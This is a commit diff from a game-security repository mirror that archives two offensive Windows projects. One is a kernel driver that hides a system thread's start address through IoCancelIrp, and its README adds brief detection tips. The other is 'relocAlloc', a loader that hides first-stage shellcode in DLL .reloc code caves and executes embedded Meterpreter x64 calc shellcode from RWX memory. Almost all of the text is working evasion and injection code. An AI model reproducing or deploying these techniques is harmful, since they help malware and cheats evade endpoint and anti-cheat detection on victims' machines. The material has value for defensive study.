mirror of
https://github.com/gmh5225/awesome-game-security
synced 2026-06-21 13:56:22 +00:00
archive: add 5 repo prompt(s) [skip ci]
This commit is contained in:
github-actions[bot]
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,127 @@
|
||||
Project Path: arc_gmh5225_Driver-HideKernelThread-IoCancelIrp_8cs38gor
|
||||
|
||||
Source Tree:
|
||||
|
||||
```txt
|
||||
arc_gmh5225_Driver-HideKernelThread-IoCancelIrp_8cs38gor
|
||||
├── HideKernelThread-IoCancelIrp.cpp
|
||||
└── README.md
|
||||
|
||||
```
|
||||
|
||||
`HideKernelThread-IoCancelIrp.cpp`:
|
||||
|
||||
```cpp
|
||||
#include <ntddk.h>
|
||||
|
||||
VOID
|
||||
DrvCreateThreadCancel(PDEVICE_OBJECT pDevObj, PIRP pIrp)
|
||||
{
|
||||
PVOID StartContext = NULL;
|
||||
PKSTART_ROUTINE StartRoutine = NULL;
|
||||
|
||||
if (pIrp)
|
||||
{
|
||||
IoReleaseCancelSpinLock(PASSIVE_LEVEL);
|
||||
StartContext = pIrp->UserBuffer;
|
||||
StartRoutine = (PKSTART_ROUTINE)pIrp->MdlAddress;
|
||||
IoFreeIrp(pIrp);
|
||||
|
||||
if (StartRoutine)
|
||||
{
|
||||
StartRoutine(StartContext);
|
||||
}
|
||||
}
|
||||
|
||||
PsTerminateSystemThread(STATUS_SUCCESS);
|
||||
return;
|
||||
}
|
||||
|
||||
NTSTATUS
|
||||
DrvCreateSystemThread(PHANDLE ThreadHandle,
|
||||
ULONG DesiredAccess,
|
||||
POBJECT_ATTRIBUTES ObjectAttributes,
|
||||
HANDLE ProcessHandle,
|
||||
PCLIENT_ID ClientId,
|
||||
PKSTART_ROUTINE StartRoutine,
|
||||
PVOID StartContext)
|
||||
{
|
||||
PIRP pIrp = NULL;
|
||||
NTSTATUS Status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
do
|
||||
{
|
||||
pIrp = IoAllocateIrp(2, FALSE);
|
||||
if (!pIrp)
|
||||
{
|
||||
break;
|
||||
}
|
||||
IoSetNextIrpStackLocation(pIrp);
|
||||
|
||||
pIrp->UserBuffer = StartContext;
|
||||
pIrp->MdlAddress = (PMDL)StartRoutine;
|
||||
IoSetCancelRoutine(pIrp, DrvCreateThreadCancel);
|
||||
Status = PsCreateSystemThread(ThreadHandle,
|
||||
DesiredAccess, ObjectAttributes, ProcessHandle,
|
||||
ClientId, (PKSTART_ROUTINE)IoCancelIrp, (PVOID)pIrp);
|
||||
} while (FALSE);
|
||||
|
||||
if (NT_ERROR(Status) && pIrp)
|
||||
{
|
||||
IoFreeIrp(pIrp);
|
||||
pIrp = NULL;
|
||||
}
|
||||
|
||||
return Status;
|
||||
}
|
||||
|
||||
VOID
|
||||
StartRoutine(PVOID StartContext)
|
||||
{
|
||||
DbgPrint((PCSTR)StartContext);
|
||||
}
|
||||
|
||||
NTSTATUS
|
||||
DriverEntry(PDRIVER_OBJECT pDrvObj,
|
||||
PUNICODE_STRING pRegPath)
|
||||
{
|
||||
HANDLE hThread = NULL;
|
||||
OBJECT_ATTRIBUTES Oba ={0};
|
||||
NTSTATUS Status = STATUS_UNSUCCESSFUL;
|
||||
|
||||
InitializeObjectAttributes(&Oba,
|
||||
NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
|
||||
Status = DrvCreateSystemThread(&hThread,
|
||||
THREAD_ALL_ACCESS,
|
||||
&Oba,
|
||||
NULL,
|
||||
NULL,
|
||||
StartRoutine,
|
||||
"$$StartContext");
|
||||
if (NT_SUCCESS(Status))
|
||||
{
|
||||
ZwClose(hThread);
|
||||
}
|
||||
|
||||
return Status;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
`README.md`:
|
||||
|
||||
```md
|
||||
# Driver-HideKernelThread-IoCancelIrp
|
||||
not my code. only for saving
|
||||
https://bbs.pediy.com/thread-272795.htm
|
||||
|
||||
## Principle
|
||||
Set the thread entry address to IoCancelIrp and the context to the irp you created.
|
||||
Then the thread will call IoCancelIrp. when called, will perform the operation of canlcelling the IRP.
|
||||
This will then call the IRP->CancelRoutine. so we just need to set our own thread entry address to IRP->CancelRoutine.
|
||||
|
||||
## How to detect?
|
||||
- Detecting the start entry address which is IoCancelIrp.
|
||||
- Inserting APC to system threads and walk the stack.
|
||||
|
||||
```
|
||||
@@ -0,0 +1,560 @@
|
||||
Project Path: arc_gmh5225_memory-relocalloc_j_etor3w
|
||||
|
||||
Source Tree:
|
||||
|
||||
```txt
|
||||
arc_gmh5225_memory-relocalloc_j_etor3w
|
||||
├── LICENSE
|
||||
├── README.md
|
||||
├── images
|
||||
│ ├── demo1.png
|
||||
│ └── demo2.png
|
||||
├── relocAlloc
|
||||
│ ├── main.c
|
||||
│ ├── relocAlloc.h
|
||||
│ ├── relocAlloc.vcxproj
|
||||
│ ├── relocAlloc.vcxproj.filters
|
||||
│ └── relocAlloc.vcxproj.user
|
||||
└── relocAlloc.sln
|
||||
|
||||
```
|
||||
|
||||
`LICENSE`:
|
||||
|
||||
```
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2022 ORCA666
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
```
|
||||
|
||||
`README.md`:
|
||||
|
||||
```md
|
||||
### RelocAlloc: Using .reloc section to replace the typical allocation calls
|
||||
<br>
|
||||
|
||||
### Explaining the code:
|
||||
- We first, locate the addresses of all the dlls mapped to our process.
|
||||
- We then construct an array of structs and we fill it up with some data, thats **Initialize()** function.
|
||||
- Now, we have a full array, next step is to search for the right address.
|
||||
- calling **GetSuitableAddress(SIZE_T ShellcodeSize)** will do the job; thats finding us the right code cave (empty place in memory, fitting the shellcode size)
|
||||
- in case it is found it will be returned.
|
||||
- to use it we **must adjust** memory protection to be writable/executable ... (the poc is directly rwx)
|
||||
<br>
|
||||
|
||||
### Demo:
|
||||
|
||||
|
||||
<br>
|
||||
#### Note: this only work with small shellcodes, bcz it depends on the dlls mapped, the bigger the .reloc section, the bigger chances of getting a valid address. In addition, this is tested only on a `x64` machine, but it should work for x86 (i think :p)
|
||||
|
||||
<br><br>
|
||||
<h6 align="center"> <i># STAY TUNED FOR MORE</i> </h6>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
|
||||
`relocAlloc.sln`:
|
||||
|
||||
```sln
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.1.32421.90
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "relocAlloc", "relocAlloc\relocAlloc.vcxproj", "{1D73BED6-2FBB-460D-A8D6-973573BDE31D}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{1D73BED6-2FBB-460D-A8D6-973573BDE31D}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{1D73BED6-2FBB-460D-A8D6-973573BDE31D}.Debug|x64.Build.0 = Debug|x64
|
||||
{1D73BED6-2FBB-460D-A8D6-973573BDE31D}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{1D73BED6-2FBB-460D-A8D6-973573BDE31D}.Debug|x86.Build.0 = Debug|Win32
|
||||
{1D73BED6-2FBB-460D-A8D6-973573BDE31D}.Release|x64.ActiveCfg = Release|x64
|
||||
{1D73BED6-2FBB-460D-A8D6-973573BDE31D}.Release|x64.Build.0 = Release|x64
|
||||
{1D73BED6-2FBB-460D-A8D6-973573BDE31D}.Release|x86.ActiveCfg = Release|Win32
|
||||
{1D73BED6-2FBB-460D-A8D6-973573BDE31D}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {60B20FF6-A28D-4E35-8A93-3ECEE474B300}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
|
||||
```
|
||||
|
||||
`relocAlloc/main.c`:
|
||||
|
||||
```c
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include "relocAlloc.h"
|
||||
|
||||
// METERPRETER x64 CALC
|
||||
unsigned char rawData[] = {
|
||||
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
|
||||
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
|
||||
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
|
||||
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
|
||||
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
|
||||
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
|
||||
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
|
||||
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
|
||||
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
|
||||
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
|
||||
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
|
||||
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
|
||||
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
|
||||
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
|
||||
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
|
||||
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
|
||||
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
|
||||
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
|
||||
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
|
||||
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
|
||||
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
|
||||
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
|
||||
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
|
||||
};
|
||||
|
||||
#define ShellSize sizeof rawData
|
||||
|
||||
|
||||
int main() {
|
||||
DWORD Old;
|
||||
PVOID pShell = NULL;
|
||||
|
||||
if (!Initialize()) {
|
||||
printf("[!] Initialize Failed \n");
|
||||
return FALSE;
|
||||
}
|
||||
/*
|
||||
else{
|
||||
PrintAll();
|
||||
}
|
||||
*/
|
||||
pShell = GetSuitableAddress(ShellSize);
|
||||
if (pShell == NULL){
|
||||
printf("[!] Failed To Get A Base Address ...\n");
|
||||
return FALSE;
|
||||
}
|
||||
//printf("[+] pShell : 0x%p \n", pShell);
|
||||
|
||||
if(!VirtualProtect(pShell, ShellSize, PAGE_EXECUTE_READWRITE, &Old)){
|
||||
printf("[-] VirtualProtect Failed With Error : %d \n", GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
else {
|
||||
memcpy(pShell, rawData, ShellSize);
|
||||
((void(*)())pShell)();
|
||||
}
|
||||
|
||||
printf("[i] HIT ENTER TO EXIT ... \n");
|
||||
getchar();
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
|
||||
`relocAlloc/relocAlloc.h`:
|
||||
|
||||
```h
|
||||
/*
|
||||
THIS HEADER FILE WILL SEARCH FOR CODE CAVES [EMPTY CHUNCKS OF MEMORY] IN LOCAL DLLS.
|
||||
THE SEARCH WILL BE AT .RELOC SECTION [BETTER CHANCE TO FIND EMTPY CHUNKS].
|
||||
THE PLACE THAT WILL BE FOUND WILL BE USED TO HIDE THE 1ST STAGE SHELLCODE *ONLY*.
|
||||
THATS BCZ IT IS OFTEN SMALLER AND CAN FIT
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <dbghelp.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#pragma comment(lib, "dbghelp.lib")
|
||||
#define MAXDLLS 64 // more than 64 dlls mapped to us ??
|
||||
#define MAXSEARCH 1000 // 1k * 16 = 16,000 bytes we can search [up or down]
|
||||
#define CHUNK_SEARCH 0x10
|
||||
|
||||
|
||||
|
||||
typedef struct DllEnumerated {
|
||||
CHAR DllName[MAX_PATH];
|
||||
PVOID DllBase;
|
||||
DWORD reloc;
|
||||
DWORD SizeOfRawData;
|
||||
};
|
||||
|
||||
struct DllEnumerated ArrayOfDlls[MAXDLLS];
|
||||
|
||||
/*
|
||||
void PrintAll() {
|
||||
for (int i = 0; i < MAXDLLS + 1; i++) {
|
||||
if (ArrayOfDlls[i].DllBase != NULL){
|
||||
printf("\t\t[%d] %s is at 0x%p [.reloc: %x of size: %d]\n",i, ArrayOfDlls[i].DllName, ArrayOfDlls[i].DllBase, ArrayOfDlls[i].reloc, (unsigned int)ArrayOfDlls[i].SizeOfRawData);
|
||||
}
|
||||
}
|
||||
}
|
||||
*/
|
||||
|
||||
|
||||
BOOL GenerateBaseAddress(PVOID* pShell) {
|
||||
PVOID pShell2 = *pShell;
|
||||
int index = 0, result = -1;
|
||||
CONST BYTE NullShell[CHUNK_SEARCH] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||
|
||||
if (memcmp(&NullShell, pShell2, sizeof(NullShell)) != 0){
|
||||
while ((result = memcmp(&NullShell, pShell2, sizeof(NullShell))) != 0 && index < MAXSEARCH) {
|
||||
(ULONG_PTR)pShell2 += CHUNK_SEARCH;
|
||||
// some nice cli shit
|
||||
printf("\r[*]--------> 0x%p ", (VOID*)pShell2);
|
||||
Sleep(50);
|
||||
fflush(stdout);
|
||||
index++;
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
else{
|
||||
while ((result = memcmp(&NullShell, pShell2, sizeof(NullShell))) == 0 && index < MAXSEARCH) {
|
||||
(ULONG_PTR)pShell2 -= CHUNK_SEARCH;
|
||||
// some nice cli shit
|
||||
printf("\r[*]--------> 0x%p ", (VOID*)pShell2);
|
||||
Sleep(50);
|
||||
fflush(stdout);
|
||||
index++;
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
*pShell = pShell2;
|
||||
|
||||
if (memcmp(&NullShell, *pShell, sizeof(NullShell)) == 0){
|
||||
return TRUE;
|
||||
}
|
||||
else {
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
PVOID GetSuitableAddress(SIZE_T ShellcodeSize) {
|
||||
PVOID pShell = NULL;
|
||||
for (int i = 0; i < MAXDLLS + 1; i++) {
|
||||
if (ShellcodeSize < ArrayOfDlls[i].SizeOfRawData && i > 0) {
|
||||
pShell = (PVOID)((ULONG_PTR)ArrayOfDlls[i].DllBase + ArrayOfDlls[i].reloc);
|
||||
if (GenerateBaseAddress(&pShell)){
|
||||
return pShell;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
BOOL GetReloc(HMODULE hMod) {
|
||||
PIMAGE_NT_HEADERS64 NtHeader = ImageNtHeader(hMod);
|
||||
PIMAGE_SECTION_HEADER Section = IMAGE_FIRST_SECTION(NtHeader);
|
||||
for (WORD i = 0; i < NtHeader->FileHeader.NumberOfSections; i++) {
|
||||
if (memcmp(Section->Name, ".reloc", sizeof(".reloc")) == 0) {
|
||||
for (int i = 0; i < MAXDLLS + 1; i++) {
|
||||
if (ArrayOfDlls[i].reloc == NULL && ArrayOfDlls[i].SizeOfRawData == NULL) {
|
||||
ArrayOfDlls[i].reloc = Section->VirtualAddress;
|
||||
ArrayOfDlls[i].SizeOfRawData = Section->SizeOfRawData;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
Section++;
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
BOOL Initialize () {
|
||||
|
||||
#ifdef _M_X64
|
||||
PPEB pPEB = (PPEB)__readgsqword(0x60);
|
||||
#else
|
||||
PPEB pPEB = (PPEB)__readfsdword(0x30);
|
||||
#endif
|
||||
|
||||
PLIST_ENTRY pLE = pPEB->Ldr->InMemoryOrderModuleList.Flink;
|
||||
PLDR_DATA_TABLE_ENTRY pLDTE = (PLDR_DATA_TABLE_ENTRY)pPEB->Ldr->InMemoryOrderModuleList.Flink;
|
||||
PPEB_LDR_DATA pPLD = (PPEB_LDR_DATA)pPEB->Ldr;
|
||||
PLIST_ENTRY Head = &pPLD->InMemoryOrderModuleList;
|
||||
PLIST_ENTRY Current = Head->Flink;
|
||||
PCHAR DLL = NULL;
|
||||
DWORD DLLLen = 0;
|
||||
|
||||
if (pPEB == NULL || pLE == NULL || pLDTE == NULL || pPLD == NULL || Head == NULL || Current == NULL){
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
do {
|
||||
DLLLen = WideCharToMultiByte(CP_ACP, 0, pLDTE->FullDllName.Buffer, pLDTE->FullDllName.Length, NULL, 0, NULL, NULL);
|
||||
DLL = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, DLLLen);
|
||||
WideCharToMultiByte(CP_ACP, 0, pLDTE->FullDllName.Buffer, pLDTE->FullDllName.Length, DLL, DLLLen, NULL, NULL);
|
||||
|
||||
if (DLL != NULL && pLDTE->Reserved2[0] != NULL) {
|
||||
CharUpperA(DLL);
|
||||
for (int i = 0; i < MAXDLLS; i++) {
|
||||
if (ArrayOfDlls[i].DllBase == NULL) {
|
||||
ArrayOfDlls[i].DllBase = (PVOID)pLDTE->Reserved2[0];
|
||||
strcpy(ArrayOfDlls[i].DllName, DLL);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if(!GetReloc((HMODULE)pLDTE->Reserved2[0])){
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
pLE = pLE->Flink;
|
||||
pLDTE = (PLDR_DATA_TABLE_ENTRY)(pLE->Flink);
|
||||
HeapFree(GetProcessHeap(), 0, DLL);
|
||||
Current = Current->Flink;
|
||||
|
||||
} while (Current != Head);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
`relocAlloc/relocAlloc.vcxproj`:
|
||||
|
||||
```vcxproj
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{1d73bed6-2fbb-460d-a8d6-973573bde31d}</ProjectGuid>
|
||||
<RootNamespace>relocAlloc</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<DisableSpecificWarnings>4996</DisableSpecificWarnings>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<DisableSpecificWarnings>4996</DisableSpecificWarnings>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<DisableSpecificWarnings>4996</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<DisableSpecificWarnings>4996</DisableSpecificWarnings>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="relocAlloc.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
